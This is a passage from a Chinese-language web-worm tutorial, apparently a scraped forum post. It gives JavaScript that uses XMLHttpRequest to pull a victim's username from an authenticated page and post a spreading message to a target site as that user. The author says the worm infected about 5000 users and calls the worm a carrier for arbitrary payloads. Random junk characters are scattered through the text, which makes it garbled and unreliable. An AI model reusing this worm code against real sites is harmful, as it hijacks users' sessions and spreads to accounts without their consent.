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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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6 g' f8 g) y8 ~xmlHttpReq.setRequestHeader("content-length",post.length);
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. i7 V! B1 h q+ r; X5 Q( sxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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7 ^" o$ {3 @3 TxmlHttpReq.send(post);/ M9 M6 _. D$ {1 Y! u
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{+ }0 i: J" t |
& H& p" U6 X! Q9 Kvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方8 r) B- J; ^# H0 `/ @% H! \
$ D. C) T8 H' S* ?% P& wvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.& l2 U4 w5 k/ A% _2 H
4 F# L: L2 f. J& u2 q& k6 ]: `var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.4 l6 S6 s" l8 j2 p: O6 j! H8 o1 N
/ j5 B( G. a1 P* ]- F O7 cvar post="wd="+wd;( r, g I1 l4 [( h& Z( E/ j* b
- p$ {" z- n3 f0 G; I: L# DxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 n* g5 S2 D- D8 X1 j2 \# y F
9 O+ o9 ~6 Q* Z3 R8 @: c+ l5 dxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");. X: W5 I* B0 ?8 v- o. B% ~- B
0 x- L4 F! B5 w6 {xmlHttpReq.send(post); //把传播的信息 POST出去.( k! N7 I0 w0 ~8 ^0 S- H$ f5 \
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.* c, K( W1 b7 D& U
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 h6 O2 y0 L0 e% k: i' @5 q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005), R t) Y) R+ Q y! k
Other XmlHttpRequest tricks (Amit Klein, January 2003)4 b7 H( g% u* C% e; l
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
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